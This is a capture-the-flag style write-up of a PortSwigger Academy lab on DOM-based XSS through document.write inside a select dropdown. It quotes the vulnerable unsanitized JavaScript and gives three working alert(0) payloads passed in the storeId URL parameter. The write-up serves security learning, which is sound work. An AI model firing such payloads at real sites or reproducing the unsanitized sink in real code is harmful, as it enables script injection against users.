Skip to content

DOM-Based XSS — document.write Inside a Select Element

Field Value
Platform PortSwigger Web Security Academy
Vulnerability DOM-Based Cross-Site Scripting (XSS)
Difficulty Apprentice
Source location.search (storeId parameter)
Sink document.write() inside <select> / <option>
Goal Break out of the <select> context and execute alert(0)

Phase 1 — Reconnaissance

Accessing a product and inspecting the stock check functionality:

Screenshot

The vulnerable JavaScript builds the store dropdown dynamically:

var stores = ["London","Paris","Milan"];
var store = (new URLSearchParams(window.location.search)).get('storeId');
document.write('<select name="storeId">');
if(store) {
    document.write('<option selected>'+store+'</option>');
}
for(var i=0;i<stores.length;i++) {
    if(stores[i] === store) { continue; }
    document.write('<option>'+stores[i]+'</option>');
}
document.write('</select>');

The storeId URL parameter is read via URLSearchParams and written directly into a <option> tag via document.write() — no sanitization. The resulting HTML:

<select name="storeId">
    <option>London</option>
    <option>Paris</option>
    <option>Milan</option>
</select>

Phase 2 — Confirming Injection

Intercepting the request confirms the stock check sends productId and storeId via POST — but storeId is also accepted as a URL parameter:

Screenshot

Navigating to:

/product?productId=2&storeId=TETO
Screenshot

TETO appeared in the dropdown — the parameter is reflected directly into the <option> content. Injection is confirmed.


Phase 3 — Exploitation

Method 1 — Script Tag Inside Option

Since the sink is document.write() (not innerHTML), <script> tags are executed — unlike the innerHTML lab where they were inert:

/product?productId=2&storeId=<script>alert(0)</script>
Screenshot

Alert fired. The resulting DOM:

<select name="storeId">
    <option selected=""><script>alert(0)</script></option>
    <option>London</option>
    <option>Paris</option>
    <option>Milan</option>
</select>

Method 2 — Break Out of Select + img onerror

Closing the <option> and <select> tags first, then injecting an event handler:

/product?productId=1&storeId="></select><img src=1 onerror=alert(0)>

Method 3 — Close option and select, inject script

/product?productId=2&storeId=</option></select><script>alert(0)</script>

All three methods achieve the same result — the choice depends on what the WAF or output encoding allows.


Conclusion

  1. The storeId URL parameter was read by JavaScript via URLSearchParams and passed directly to document.write() inside an <option> tag — source and sink confirmed.
  2. TETO appearing in the dropdown confirmed controlled injection into the <option> content.
  3. <script>alert(0)</script> as storeId was written by document.write() directly into the page — unlike innerHTML, document.write() executes <script> tags.
  4. Alternative payloads closing the <option>/<select> context first achieve the same result with event handler payloads.